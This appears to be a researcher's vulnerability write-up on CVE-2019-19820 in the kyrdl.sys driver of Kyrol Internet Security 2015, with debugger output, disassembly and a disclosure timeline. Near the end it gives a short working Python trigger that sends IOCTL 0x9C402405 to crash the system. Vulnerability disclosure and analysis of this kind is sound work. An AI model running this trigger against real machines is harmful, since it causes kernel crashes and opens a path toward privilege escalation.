Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This writeup, I will go with the other vulnerability which is quite trivial to spot, an invalid pointer in IOCTL handling. You might find this almost similar to the previous writeup.
A vulnerability in kyrdl.sys driver has been discovered in Kyrol Internet Security (2015). The vulnerability exists due to insufficient input buffer validation when the driver processes IOCTL codes 0x9C402405 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write access to privileged use only functionality. Attackers can exploit this issue to execute arbitrary code in kernel space or cause Denial of Service (DoS).
We can use WinObj by Sysinternals to verify the object device are indeed accessible by user-mode. In the “GLOBAL??”, we can scroll until we see “10774948FAA234777974ED537F346B29F” which is work as SymbolicLink to device “1036EC9A3100C4296A350F32080965C40”. As we analyzed before, it creates a symbolic link to “10774948FAA234777974ED537F346B29F”. Verifying the security access, we can see the permission for “1036EC9A3100C4296A350F32080965C40” is open to Everyone with capability to Read and Write, which means any user can send / trigger IOCTL directly to the kernel driver. We will see the DACL object in debugger later. Continue sending to IOCTL via user-mode to the kernel to trigger BSOD. The first issue as shown below. Successful sending the IOCTL resulting this on our debugger (WinDBG):
BugCheck 50, {ffffce8f23002000, 0, fffff80380af329c, 2}
*** WARNING: Unable to verify timestamp for kyrdl.sys
*** ERROR: Module load completed but symbols could not be loaded for kyrdl.sys
Could not read faulting driver name
Probably caused by : kyrdl.sys ( kyrdl+329c )
... cut here ...
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffce8f23002000, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80380af329c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
... cut here ...
1: kd> .trap 0xfffffb8f885645a0
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000054bf7 rbx=0000000000000000 rcx=ffffce8f22d5c040
rdx=ffffce8f3141ca10 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80380af329c rsp=fffffb8f88564730 rbp=ffffce8f292c66f0
r8=0000000000000fff r9=ffffb801a8c56000 r10=0000000000000002
r11=fffffb8f885646d0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
kyrdl+0x329c:
fffff803`80af329c 488b44c104 mov rax,qword ptr [rcx+rax*8+4] ds:ffffce8f`23001ffc=????????????????
The reason user mode can send trigger the IOCTL is the Security Descriptor access open to “Everyone”:
kd> !sd fffff8a000087930 0x1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x5c
->Dacl : ->AceCount : 0x4
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001201bf
->Dacl : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
DriverEntry starts at 0x19478 and ends at 0x19491. It first perform some bug checking at “sub_1941C”. This section contains descriptions of the common bug checks, including the parameters passed to the blue screen. It also describes how you can diagnose the fault which led to the bug check, and possible ways to deal with the error. If it pass, it will continue the execution until address 0x19491 which is a ump instruction to function “sub_19010”.
INIT:0000000000019478 sub rsp, 28h
INIT:000000000001947C mov r8, rdx
INIT:000000000001947F mov r9, rcx
INIT:0000000000019482 call sub_1941C ; call to perform bug checking, etc.
INIT:0000000000019487 mov rdx, r8 ; continue executing here after pass bug checking
INIT:000000000001948A mov rcx, r9
INIT:000000000001948D add rsp, 28h
INIT:0000000000019491 jmp sub_19010 ; jump to sub_19010
INIT:0000000000019491 DriverEntry endp
We continue analyzing at the “sub_19010”. The address for the function start from 0x19010 and ends at 0x19470. Starting at the address 0x19023 until 0x19044, the driver perform an initializes of a resource variable. According to MSDN, “You can use the ERESOURCE structures to implement read/writer locking in your driver. The system provides a set of routines to manipulate the ERESOURCE structures, which are documented in this section.”
INIT:0000000000019023 lea rcx, Resource ; Resource
INIT:000000000001902A call cs:ExInitializeResourceLite
INIT:0000000000019030 lea rcx, stru_162D0 ; Resource
INIT:0000000000019037 call cs:ExInitializeResourceLite
INIT:000000000001903D lea rcx, stru_16338 ; Resource
INIT:0000000000019044 call cs:ExInitializeResourceLite
At the address 0x1904A until 0x1908E, it call IoCreateDevice and creates a device object for use by a driver. It is initialized through the RtlInitUnicodeString API. “Device” string is a device name in the object manager. After successfully creating the object, it proceeds to DRIVER_OBJECT processing.
INIT:000000000001904A lea rdx, SourceString ; "\\Device\\1036EC9A3100C4296A350F3208096"...
INIT:0000000000019051 lea rcx, DeviceName ; DestinationString
INIT:0000000000019058 call cs:RtlInitUnicodeString
INIT:000000000001905E lea rdx, DeviceObject
INIT:0000000000019065 mov [rsp+30h], rdx ; DeviceObject
INIT:000000000001906A mov byte ptr [rsp+28h], 0 ; Exclusive
INIT:000000000001906F mov dword ptr [rsp+20h], 100h ; DeviceCharacteristics
INIT:0000000000019077 mov r9d, 22h ; DeviceType
INIT:000000000001907D lea r8, DeviceName ; DeviceName
INIT:0000000000019084 xor edx, edx ; DeviceExtensionSize
INIT:0000000000019086 mov rcx, [rsp+0D0h] ; DriverObject
INIT:000000000001908E call cs:IoCreateDevice
Analysis of our IRP dispatch routine with its major functions (below). At this point we know that the handler can perform device control of IRP (0x70), close (0x80) and query security information value (0xE).
INIT:00000000000190CF mov rcx, [rsp+0D0h]
INIT:00000000000190D7 lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190DE mov [rcx+70h], rax ; 0x70 = IRP_MJ_DEVICE_CONTROL
INIT:00000000000190E2 mov rcx, [rsp+0D0h]
INIT:00000000000190EA lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190F1 mov [rcx+80h], rax ; 0x80 = IRP_MJ_CLOSE
INIT:00000000000190F8 mov rcx, [rsp+0D0h]
INIT:0000000000019100 lea rax, sub_186E0 ; "sub_186E0" act as IRP handler
INIT:0000000000019107 mov [rcx+0E0h], rax ; 0xE = IRP_MJ_QUERY_SECURITY
Then it proceed creating another device at address 0x1910E and use the value from address 0x191AC.
INIT:000000000001910E lea rax, aDosdevices ; "\\DosDevices\\"
INIT:0000000000019115 mov [rsp+0C8h+anonymous_1], rax
INIT:000000000001911D lea rax, word_16130 ; space for the device string created
INIT:0000000000019124 mov [rsp+0C8h+anonymous_2], rax
INIT:000000000001912C mov rax, [rsp+0C8h+anonymous_2]
INIT:0000000000019134 mov [rsp+0C8h+anonymous_3], rax
... cut here ...
INIT:00000000000191AC lea rsi, a10774948faa234 ; "10774948FAA234777974ED537F346B29F"
INIT:00000000000191B3 mov ecx, 44h
INIT:00000000000191B8 rep movsb
Successfully creating, it then call the device string created to initialized and create a symbolic link to the device object.
INIT:00000000000191BA lea rdx, word_16130 ; SourceString
INIT:00000000000191C1 lea rcx, SymbolicLinkName ; DestinationString
INIT:00000000000191C8 call cs:RtlInitUnicodeString
INIT:00000000000191CE lea rdx, DeviceName ; DeviceName
INIT:00000000000191D5 lea rcx, SymbolicLinkName ; SymbolicLinkName
INIT:00000000000191DC call cs:IoCreateSymbolicLink
Most of the IRP parametres are in the IO_STACK_LOCATION. A driver accesses its IO_STACK_LOCATION using IoGetCurrentIrpStackLocation routine. This part can be treat as input parameter. Current stack location as in following code:
PAGE:000000000001877A cmp [rsp+68h+var_14], 9C402405h
PAGE:0000000000018782 jz short loc_187B4
Triggering the IOCTL 0x9C402405 required another parameter in order for it to successfully trigger.
PAGE:00000000000187B4 cmp [rsp+68h+var_38], 0
PAGE:00000000000187B9 jz short loc_187EA
PAGE:00000000000187BB mov rax, [rsp+68h+Irp]
PAGE:00000000000187C0 mov rax, [rax+18h]
PAGE:00000000000187C4 mov [rsp+68h+var_48], rax
PAGE:00000000000187C9 call sub_13350
PAGE:00000000000187CE mov rcx, [rsp+68h+var_48]
PAGE:00000000000187D3 call sub_13230
PAGE:00000000000187D8 call sub_13370
PAGE:00000000000187DD mov r11, [rsp+68h+Irp]
PAGE:00000000000187E2 mov qword ptr [r11+38h], 0
Final path is at “sub_13230” and the root cause of the vulnerability:
.text:0000000000013230 mov [rsp+arg_0], rcx
.text:0000000000013235 sub rsp, 48h
.text:0000000000013239 mov rax, [rsp+48h+arg_0]
.text:000000000001323E mov [rsp+48h+var_28], rax
.text:0000000000013243 mov edx, 1
.text:0000000000013248 lea rcx, qword_163A8
.text:000000000001324F call sub_11180
.text:0000000000013254 mov [rsp+48h+var_20], 0
.text:000000000001325D jmp short loc_1326D
... cut here ...
.text:000000000001325F loc_1325F: ; CODE XREF: sub_13230+89j
.text:000000000001325F mov rax, [rsp+48h+var_20]
.text:0000000000013264 add rax, 1
.text:0000000000013268 mov [rsp+48h+var_20], rax
... cut here ...
.text:000000000001326D mov rax, [rsp+48h+var_28]
.text:0000000000013272 mov eax, [rax]
.text:0000000000013274 cmp [rsp+48h+var_20], rax
.text:0000000000013279 jnb short loc_132BB
.text:000000000001327B mov edx, 10h ; NumberOfBytes
.text:0000000000013280 xor ecx, ecx ; PoolType
.text:0000000000013282 call cs:ExAllocatePool ; allocate 0x10
.text:0000000000013288 mov [rsp+48h+var_10], rax ; corrupted pointer starts here
.text:000000000001328D mov rdx, [rsp+48h+var_10] ; we can control here
.text:0000000000013292 mov rcx, [rsp+48h+var_28] ; we can control here
.text:0000000000013297 mov rax, [rsp+48h+var_20] ; we can control here, RAX will cause pointer corrupted
.text:000000000001329C mov rax, [rcx+rax*8+4] ; when perform a check, an invalid pointer happened here
.text:00000000000132A1 mov [rdx], rax
.text:00000000000132A4 mov rdx, [rsp+48h+var_10]
.text:00000000000132A9 add rdx, 8
.text:00000000000132AD lea rcx, qword_163A8
.text:00000000000132B4 call sub_11050
Few lines of Python should sufficient enough to trigger the vulnerability. The bug itself is a read primitive so I will leave the rest to you to figure out.
import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
hDevice = kernel32.CreateFileA("\\\\.\\10774948FAA234777974ED537F346B29F", 0xC0000000, 0, None, 0x3, 0, None)
buffer = "A"*2048
buffer_length = len(buffer)
kernel32.DeviceIoControl(hDevice, 0x9C402405, buffer, buffer_length, None, 0, byref(c_ulong()), None)
Disclosure timeline
2019-01-02 - Reported to Kyrol Labs (via email)
2019-01-04 - Vendor ack but they seems to be confuse what is happening.
2019-04-18 - Ask for update, they said give another 2 weeks.
2019-04-18 - NACSA steps in (Thanks Abu!). Video conferencing with the NACSA (twice!).
2019-07-03 - Second meeting with NACSA and vendor. Vendor told us they will come up with new product by October 2019.
2019-09-01 - Third meeting with NACSA and vendor (before we presenting at POC in Korea). Kyrol couldn't release the new product at that time. Considering it as 0-day!
2019-11-07 - We present our findings in POC conference in Korea.
2019-12-04 - Full disclosure. Will look forward to request CVE's for this :)
2019-12-17 - CVE assigned, CVE-2019-19820.
Happy Hacking!